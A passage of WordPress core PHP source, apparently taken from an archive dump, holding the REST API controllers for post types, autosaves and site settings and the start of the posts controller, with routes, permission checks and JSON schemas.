		}

		if ( in_array( 'labels', $fields, true ) ) {
			$data['labels'] = $post_type->labels;
		}

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $post_type->label;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $post_type->name;
		}

		if ( in_array( 'supports', $fields, true ) ) {
			$data['supports'] = $supports;
		}

		if ( in_array( 'taxonomies', $fields, true ) ) {
			$data['taxonomies'] = array_values( $taxonomies );
		}

		if ( in_array( 'rest_base', $fields, true ) ) {
			$data['rest_base'] = $base;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		$response->add_links( array(
			'collection' => array(
				'href'   => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'https://api.w.org/items' => array(
				'href' => rest_url( sprintf( 'wp/v2/%s', $base ) ),
			),
		) );

		/**
		 * Filters a post type returned from the API.
		 *
		 * Allows modification of the post type data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $item     The original post type object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_post_type', $response, $post_type, $request );
	}

	/**
	 * Retrieves the post type's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		$schema = array(
			'$schema'              => 'http://json-schema.org/draft-04/schema#',
			'title'                => 'type',
			'type'                 => 'object',
			'properties'           => array(
				'capabilities'     => array(
					'description'  => __( 'All capabilities used by the post type.' ),
					'type'         => 'object',
					'context'      => array( 'edit' ),
					'readonly'     => true,
				),
				'description'      => array(
					'description'  => __( 'A human-readable description of the post type.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit' ),
					'readonly'     => true,
				),
				'hierarchical'     => array(
					'description'  => __( 'Whether or not the post type should have children.' ),
					'type'         => 'boolean',
					'context'      => array( 'view', 'edit' ),
					'readonly'     => true,
				),
				'viewable'         => array(
					'description'  => __( 'Whether or not the post type can be viewed.' ),
					'type'         => 'boolean',
					'context'      => array( 'edit' ),
					'readonly'     => true,
				),
				'labels'           => array(
					'description'  => __( 'Human-readable labels for the post type for various contexts.' ),
					'type'         => 'object',
					'context'      => array( 'edit' ),
					'readonly'     => true,
				),
				'name'             => array(
					'description'  => __( 'The title for the post type.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit', 'embed' ),
					'readonly'     => true,
				),
				'slug'             => array(
					'description'  => __( 'An alphanumeric identifier for the post type.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit', 'embed' ),
					'readonly'     => true,
				),
				'supports'         => array(
					'description'  => __( 'All features, supported by the post type.' ),
					'type'         => 'object',
					'context'      => array( 'edit' ),
					'readonly'     => true,
				),
				'taxonomies'       => array(
					'description'  => __( 'Taxonomies associated with post type.' ),
					'type'         => 'array',
					'items'        => array(
						'type' => 'string',
					),
					'context'      => array( 'view', 'edit' ),
					'readonly'     => true,
				),
				'rest_base'            => array(
					'description'  => __( 'REST base route for the post type.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit', 'embed' ),
					'readonly'     => true,
				),
			),
		);
		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}

}
endpoints/class-wp-rest-autosaves-controller.php000066600000031056151114277720016175 0ustar00<?php
/**
 * REST API: WP_REST_Autosaves_Controller class.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class used to access autosaves via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Autosaves_Controller extends WP_REST_Revisions_Controller {

	/**
	 * Parent post type.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent post controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * Revision controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Controller
	 */
	private $revisions_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );

		// Ensure that post type-specific controller logic is available.
		$parent_controller_class = ! empty( $post_type_object->rest_controller_class ) ? $post_type_object->rest_controller_class : 'WP_REST_Posts_Controller';

		$this->parent_controller    = new $parent_controller_class( $post_type_object->name );
		$this->revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type );
		$this->rest_namespace       = 'wp/v2';
		$this->rest_base            = 'autosaves';
		$this->parent_base          = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
	}

	/**
	 * Registers routes for autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->rest_namespace,
			'/' . $this->parent_base . '/(?P<id>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the object.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->rest_namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the object.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'The ID for the object.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

	}

	/**
	 * Get the parent post.
	 *
	 * @since 5.0.0
	 *
	 * @param int $parent_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_id ) {
		return $this->revisions_controller->get_parent( $parent_id );
	}

	/**
	 * Checks if a given request has access to get autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$parent = $this->get_parent( $request['id'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$parent_post_type_obj = get_post_type_object( $parent->post_type );
		if ( ! current_user_can( $parent_post_type_obj->cap->edit_post, $parent->ID ) ) {
			return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to view autosaves of this post.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Checks if a given request has access to create an autosave revision.
	 *
	 * Autosave revisions inherit permissions from the parent post,
	 * check if the current user has permission to edit the post.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create the item, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		$id = $request->get_param( 'id' );
		if ( empty( $id ) ) {
			return new WP_Error( 'rest_post_invalid_id', __( 'Invalid item ID.' ), array( 'status' => 404 ) );
		}

		return $this->parent_controller->update_item_permissions_check( $request );
	}

	/**
	 * Creates, updates or deletes an autosave revision.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {

		if ( ! defined( 'DOING_AUTOSAVE' ) ) {
			define( 'DOING_AUTOSAVE', true );
		}

		$post = get_post( $request['id'] );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$prepared_post     = $this->parent_controller->prepare_item_for_database( $request );
		$prepared_post->ID = $post->ID;
		$user_id           = get_current_user_id();

		if ( ( 'draft' === $post->post_status || 'auto-draft' === $post->post_status ) && $post->post_author == $user_id ) {
			// Draft posts for the same author: autosaving updates the post and does not create a revision.
			// Convert the post object to an array and add slashes, wp_update_post expects escaped array.
			$autosave_id = wp_update_post( wp_slash( (array) $prepared_post ), true );
		} else {
			// Non-draft posts: create or update the post autosave.
			$autosave_id = $this->create_post_autosave( (array) $prepared_post );
		}

		if ( is_wp_error( $autosave_id ) ) {
			return $autosave_id;
		}

		$autosave = get_post( $autosave_id );
		$request->set_param( 'context', 'edit' );

		$response = $this->prepare_item_for_response( $autosave, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Get the autosave, if the ID is valid.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
	 */
	public function get_item( $request ) {
		$parent_id = (int) $request->get_param( 'parent' );

		if ( $parent_id <= 0 ) {
			return new WP_Error( 'rest_post_invalid_id', __( 'Invalid parent post ID.' ), array( 'status' => 404 ) );
		}

		$autosave = wp_get_post_autosave( $parent_id );

		if ( ! $autosave ) {
			return new WP_Error( 'rest_post_no_autosave', __( 'There is no autosave revision for this post.' ), array( 'status' => 404 ) );
		}

		$response = $this->prepare_item_for_response( $autosave, $request );
		return $response;
	}

	/**
	 * Gets a collection of autosaves using wp_get_post_autosave.
	 *
	 * Contains the user's autosave, for empty if it doesn't exist.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['id'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$response  = array();
		$parent_id = $parent->ID;
		$revisions = wp_get_post_revisions( $parent_id, array( 'check_enabled' => false ) );

		foreach ( $revisions as $revision ) {
			if ( false !== strpos( $revision->post_name, "{$parent_id}-autosave" ) ) {
				$data       = $this->prepare_item_for_response( $revision, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}
		}

		return rest_ensure_response( $response );
	}


	/**
	 * Retrieves the autosave's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		$schema = $this->revisions_controller->get_item_schema();

		$schema['properties']['preview_link'] = array(
			'description' => __( 'Preview link for the post.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'edit' ),
			'readonly'    => true,
		);

		return $schema;
	}

	/**
	 * Creates autosave for the specified post.
	 *
	 * From wp-admin/post.php.
	 *
	 * @since 5.0.0
	 *
	 * @param mixed $post_data Associative array containing the post data.
	 * @return mixed The autosave revision ID or WP_Error.
	 */
	public function create_post_autosave( $post_data ) {

		$post_id = (int) $post_data['ID'];
		$post    = get_post( $post_id );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$user_id = get_current_user_id();

		// Store one autosave per author. If there is already an autosave, overwrite it.
		$old_autosave = wp_get_post_autosave( $post_id, $user_id );

		if ( $old_autosave ) {
			$new_autosave                = _wp_post_revision_data( $post_data, true );
			$new_autosave['ID']          = $old_autosave->ID;
			$new_autosave['post_author'] = $user_id;

			// If the new autosave has the same content as the post, delete the autosave.
			$autosave_is_different = false;

			foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) {
				if ( normalize_whitespace( $new_autosave[ $field ] ) != normalize_whitespace( $post->$field ) ) {
					$autosave_is_different = true;
					break;
				}
			}

			if ( ! $autosave_is_different ) {
				wp_delete_post_revision( $old_autosave->ID );
				return new WP_Error( 'rest_autosave_no_changes', __( 'There is nothing to save. The autosave and the post content are the same.' ), array( 'status' => 400 ) );
			}

			/**
			 * This filter is documented in wp-admin/post.php.
			 */
			do_action( 'wp_creating_autosave', $new_autosave );

			// wp_update_post expects escaped array.
			return wp_update_post( wp_slash( $new_autosave ) );
		}

		// Create the new autosave as a special post revision.
		return _wp_put_post_revision( $post_data, true );
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_Post         $post    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 *
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {

		$response = $this->revisions_controller->prepare_item_for_response( $post, $request );

		$fields = $this->get_fields_for_response( $request );

		if ( in_array( 'preview_link', $fields, true ) ) {
			$parent_id          = wp_is_post_autosave( $post );
			$preview_post_id    = false === $parent_id ? $post->ID : $parent_id;
			$preview_query_args = array();

			if ( false !== $parent_id ) {
				$preview_query_args['preview_id']    = $parent_id;
				$preview_query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $parent_id );
			}

			$response->data['preview_link'] = get_preview_post_link( $preview_post_id, $preview_query_args );
		}

		$context        = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$response->data = $this->add_additional_fields_to_object( $response->data, $request );
		$response->data = $this->filter_response_by_context( $response->data, $context );

		/**
		 * Filters a revision returned from the API.
		 *
		 * Allows modification of the revision right before it is returned.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original revision object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_autosave', $response, $post, $request );
	}

	/**
	 * Retrieves the query params for the autosaves collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-settings-controller.php000066600000023653151114277720016027 0ustar00<?php
/**
 * REST API: WP_REST_Settings_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage a site's settings via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Settings_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'settings';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_item' ),
				'args'                => array(),
				'permission_callback' => array( $this, 'get_item_permissions_check' ),
			),
			array(
				'methods'             => WP_REST_Server::EDITABLE,
				'callback'            => array( $this, 'update_item' ),
				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				'permission_callback' => array( $this, 'get_item_permissions_check' ),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

	}

	/**
	 * Checks if a given request has access to read and manage settings.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the request has read access for the item, otherwise false.
	 */
	public function get_item_permissions_check( $request ) {
		return current_user_can( 'manage_options' );
	}

	/**
	 * Retrieves the settings.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array|WP_Error Array on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$options  = $this->get_registered_options();
		$response = array();

		foreach ( $options as $name => $args ) {
			/**
			 * Filters the value of a setting recognized by the REST API.
			 *
			 * Allow hijacking the setting value and overriding the built-in behavior by returning a
			 * non-null value.  The returned value will be presented as the setting value instead.
			 *
			 * @since 4.7.0
			 *
			 * @param mixed  $result Value to use for the requested setting. Can be a scalar
			 *                       matching the registered schema for the setting, or null to
			 *                       follow the default get_option() behavior.
			 * @param string $name   Setting name (as shown in REST API responses).
			 * @param array  $args   Arguments passed to register_setting() for this setting.
			 */
			$response[ $name ] = apply_filters( 'rest_pre_get_setting', null, $name, $args );

			if ( is_null( $response[ $name ] ) ) {
				// Default to a null value as "null" in the response means "not set".
				$response[ $name ] = get_option( $args['option_name'], $args['schema']['default'] );
			}

			/*
			 * Because get_option() is lossy, we have to
			 * cast values to the type they are registered with.
			 */
			$response[ $name ] = $this->prepare_value( $response[ $name ], $args['schema'] );
		}

		return $response;
	}

	/**
	 * Prepares a value for output based off a schema array.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed $value  Value to prepare.
	 * @param array $schema Schema to match.
	 * @return mixed The prepared value.
	 */
	protected function prepare_value( $value, $schema ) {
		// If the value is not valid by the schema, set the value to null. Null
		// values are specifcally non-destructive so this will not cause overwriting
		// the current invalid value to null.
		if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) {
			return null;
		}
		return rest_sanitize_value_from_schema( $value, $schema );
	}

	/**
	 * Updates settings for the settings object.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array|WP_Error Array on success, or error object on failure.
	 */
	public function update_item( $request ) {
		$options = $this->get_registered_options();

		$params  = $request->get_params();

		foreach ( $options as $name => $args ) {
			if ( ! array_key_exists( $name, $params ) ) {
				continue;
			}

			/**
			 * Filters whether to preempt a setting value update.
			 *
			 * Allows hijacking the setting update logic and overriding the built-in behavior by
			 * returning true.
			 *
			 * @since 4.7.0
			 *
			 * @param bool   $result Whether to override the default behavior for updating the
			 *                       value of a setting.
			 * @param string $name   Setting name (as shown in REST API responses).
			 * @param mixed  $value  Updated setting value.
			 * @param array  $args   Arguments passed to register_setting() for this setting.
			 */
			$updated = apply_filters( 'rest_pre_update_setting', false, $name, $request[ $name ], $args );

			if ( $updated ) {
				continue;
			}

			/*
			 * A null value for an option would have the same effect as
			 * deleting the option from the database, and relying on the
			 * default value.
			 */
			if ( is_null( $request[ $name ] ) ) {
				/*
				 * A null value is returned in the response for any option
				 * that has a non-scalar value.
				 *
				 * To protect clients from accidentally including the null
				 * values from a response object in a request, we do not allow
				 * options with values that don't pass validation to be updated to null.
				 * Without this added protection a client could mistakenly
				 * delete all options that have invalid values from the
				 * database.
				 */
				if ( is_wp_error( rest_validate_value_from_schema( get_option( $args['option_name'], false ), $args['schema'] ) ) ) {
					return new WP_Error(
						'rest_invalid_stored_value', sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ), array( 'status' => 500 )
					);
				}

				delete_option( $args['option_name'] );
			} else {
				update_option( $args['option_name'], $request[ $name ] );
			}
		}

		return $this->get_item( $request );
	}

	/**
	 * Retrieves all of the registered options for the Settings API.
	 *
	 * @since 4.7.0
	 *
	 * @return array Array of registered options.
	 */
	protected function get_registered_options() {
		$rest_options = array();

		foreach ( get_registered_settings() as $name => $args ) {
			if ( empty( $args['show_in_rest'] ) ) {
				continue;
			}

			$rest_args = array();

			if ( is_array( $args['show_in_rest'] ) ) {
				$rest_args = $args['show_in_rest'];
			}

			$defaults = array(
				'name'   => ! empty( $rest_args['name'] ) ? $rest_args['name'] : $name,
				'schema' => array(),
			);

			$rest_args = array_merge( $defaults, $rest_args );

			$default_schema = array(
				'type'        => empty( $args['type'] ) ? null : $args['type'],
				'description' => empty( $args['description'] ) ? '' : $args['description'],
				'default'     => isset( $args['default'] ) ? $args['default'] : null,
			);

			$rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] );
			$rest_args['option_name'] = $name;

			// Skip over settings that don't have a defined type in the schema.
			if ( empty( $rest_args['schema']['type'] ) ) {
				continue;
			}

			/*
			 * Whitelist the supported types for settings, as we don't want invalid types
			 * to be updated with arbitrary values that we can't do decent sanitizing for.
			 */
			if ( ! in_array( $rest_args['schema']['type'], array( 'number', 'integer', 'string', 'boolean', 'array', 'object' ), true ) ) {
				continue;
			}

			$rest_args['schema'] = $this->set_additional_properties_to_false( $rest_args['schema'] );

			$rest_options[ $rest_args['name'] ] = $rest_args;
		}

		return $rest_options;
	}

	/**
	 * Retrieves the site setting schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		$options = $this->get_registered_options();

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'settings',
			'type'       => 'object',
			'properties' => array(),
		);

		foreach ( $options as $option_name => $option ) {
			$schema['properties'][ $option_name ] = $option['schema'];
			$schema['properties'][ $option_name ]['arg_options'] = array(
				'sanitize_callback' => array( $this, 'sanitize_callback' ),
			);
		}

		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Custom sanitize callback used for all options to allow the use of 'null'.
	 *
	 * By default, the schema of settings will throw an error if a value is set to
	 * `null` as it's not a valid value for something like "type => string". We
	 * provide a wrapper sanitizer to whitelist the use of `null`.
	 *
	 * @since 4.7.0
	 *
	 * @param  mixed           $value   The value for the setting.
	 * @param  WP_REST_Request $request The request object.
	 * @param  string          $param   The parameter name.
	 * @return mixed|WP_Error
	 */
	public function sanitize_callback( $value, $request, $param ) {
		if ( is_null( $value ) ) {
			return $value;
		}
		return rest_parse_request_arg( $value, $request, $param );
	}

	/**
	 * Recursively add additionalProperties = false to all objects in a schema.
	 *
	 * This is need to restrict properties of objects in settings values to only
	 * registered items, as the REST API will allow additional properties by
	 * default.
	 *
	 * @since 4.9.0
	 *
	 * @param array $schema The schema array.
	 * @return array
	 */
	protected function set_additional_properties_to_false( $schema ) {
		switch ( $schema['type'] ) {
			case 'object':
				foreach ( $schema['properties'] as $key => $child_schema ) {
					$schema['properties'][ $key ] = $this->set_additional_properties_to_false( $child_schema );
				}
				$schema['additionalProperties'] = false;
				break;
			case 'array':
				$schema['items'] = $this->set_additional_properties_to_false( $schema['items'] );
				break;
		}

		return $schema;
	}
}
endpoints/class-wp-rest-posts-controller.php000066600000243446151114277720015343 0ustar00<?php
/**
 * REST API: WP_REST_Posts_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to access posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Posts_Controller extends WP_REST_Controller {

	/**
	 * Post type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Instance of a post meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Post_Meta_Fields
	 */
	protected $meta;

	/**
	 * Passwordless post access permitted.
	 *
	 * @since 5.7.1
	 * @var int[]
	 */
	protected $password_check_passed = array();

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
		$this->namespace = 'wp/v2';
		$obj = get_post_type_object( $post_type );
		$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;

		$this->meta = new WP_REST_Post_Meta_Fields( $this->post_type );
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_items' ),
				'permission_callback' => array( $this, 'get_items_permissions_check' ),
				'args'                => $this->get_collection_params(),
			),
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'create_item' ),
				'permission_callback' => array( $this, 'create_item_permissions_check' ),
				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

		$schema = $this->get_item_schema();
		$get_item_args = array(
			'context'  => $this->get_context_param( array( 'default' => 'view' ) ),
		);
		if ( isset( $schema['properties']['password'] ) ) {
			$get_item_args['password'] = array(
				'description' => __( 'The password for the post if it is password protected.' ),
				'type'        => 'string',
			);
		}
		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array(
			'args' => array(
				'id' => array(
					'description' => __( 'Unique identifier for the object.' ),
					'type'        => 'integer',
				),
			),
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_item' ),
				'permission_callback' => array( $this, 'get_item_permissions_check' ),
				'args'                => $get_item_args,
			),
			array(
				'methods'             => WP_REST_Server::EDITABLE,
				'callback'            => array( $this, 'update_item' ),
				'permission_callback' => array( $this, 'update_item_permissions_check' ),
				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
			),
			array(
				'methods'             => WP_REST_Server::DELETABLE,
				'callback'            => array( $this, 'delete_item' ),
				'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				'args'                => array(
					'force' => array(
						'type'        => 'boolean',
						'default'     => false,
						'description' => __( 'Whether to bypass trash and force deletion.' ),
					),
				),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );
	}

	/**
	 * Checks if a given request has access to read posts.
	 *
	 * @since 4.7.0
	 *
	 * @param  WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {

		$post_type = get_post_type_object( $this->post_type );

		if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Override the result of the post password check for REST requested posts.
	 *
	 * Allow users to read the content of password protected posts if they have
	 * previously passed a permission check or if they have the `edit_post` capability
	 * for the post being checked.
	 *
	 * @since 5.7.1
	 *
	 * @param bool    $required Whether the post requires a password check.
	 * @param WP_Post $post     The post been password checked.
	 * @return bool Result of password check taking in to account REST API considerations.
	 */
	public function check_password_required( $required, $post ) {
		if ( ! $required ) {
			return $required;
		}

		$post = get_post( $post );

		if ( ! $post ) {
			return $required;
		}

		if ( ! empty( $this->password_check_passed[ $post->ID ] ) ) {
			// Password previously checked and approved.
			return false;
		}

		return ! current_user_can( 'edit_post', $post->ID );
	}

	/**
	 * Retrieves a collection of posts.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Ensure a search string is set in case the orderby is set to 'relevance'.
		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
			return new WP_Error( 'rest_no_search_term_defined', __( 'You need to define a search term to order by relevance.' ), array( 'status' => 400 ) );
		}

		// Ensure an include parameter is set in case the orderby is set to 'include'.
		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
			return new WP_Error( 'rest_orderby_include_missing_include', __( 'You need to define an include parameter to order by include.' ), array( 'status' => 400 ) );
		}

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();
		$args = array();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'author'         => 'author__in',
			'author_exclude' => 'author__not_in',
			'exclude'        => 'post__not_in',
			'include'        => 'post__in',
			'menu_order'     => 'menu_order',
			'offset'         => 'offset',
			'order'          => 'order',
			'orderby'        => 'orderby',
			'page'           => 'paged',
			'parent'         => 'post_parent__in',
			'parent_exclude' => 'post_parent__not_in',
			'search'         => 's',
			'slug'           => 'post_name__in',
			'status'         => 'post_status',
		);

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$args[ $wp_param ] = $request[ $api_param ];
			}
		}

		// Check for & assign any parameters which require special handling or setting.
		$args['date_query'] = array();

		// Set before into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['before'], $request['before'] ) ) {
			$args['date_query'][0]['before'] = $request['before'];
		}

		// Set after into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['after'], $request['after'] ) ) {
			$args['date_query'][0]['after'] = $request['after'];
		}

		// Ensure our per_page parameter overrides any provided posts_per_page filter.
		if ( isset( $registered['per_page'] ) ) {
			$args['posts_per_page'] = $request['per_page'];
		}

		if ( isset( $registered['sticky'], $request['sticky'] ) ) {
			$sticky_posts = get_option( 'sticky_posts', array() );
			if ( ! is_array( $sticky_posts ) ) {
				$sticky_posts = array();
			}
			if ( $request['sticky'] ) {
				/*
				 * As post__in will be used to only get sticky posts,
				 * we have to support the case where post__in was already
				 * specified.
				 */
				$args['post__in'] = $args['post__in'] ? array_intersect( $sticky_posts, $args['post__in'] ) : $sticky_posts;

				/*
				 * If we intersected, but there are no post ids in common,
				 * WP_Query won't return "no posts" for post__in = array()
				 * so we have to fake it a bit.
				 */
				if ( ! $args['post__in'] ) {
					$args['post__in'] = array( 0 );
				}
			} elseif ( $sticky_posts ) {
				/*
				 * As post___not_in will be used to only get posts that
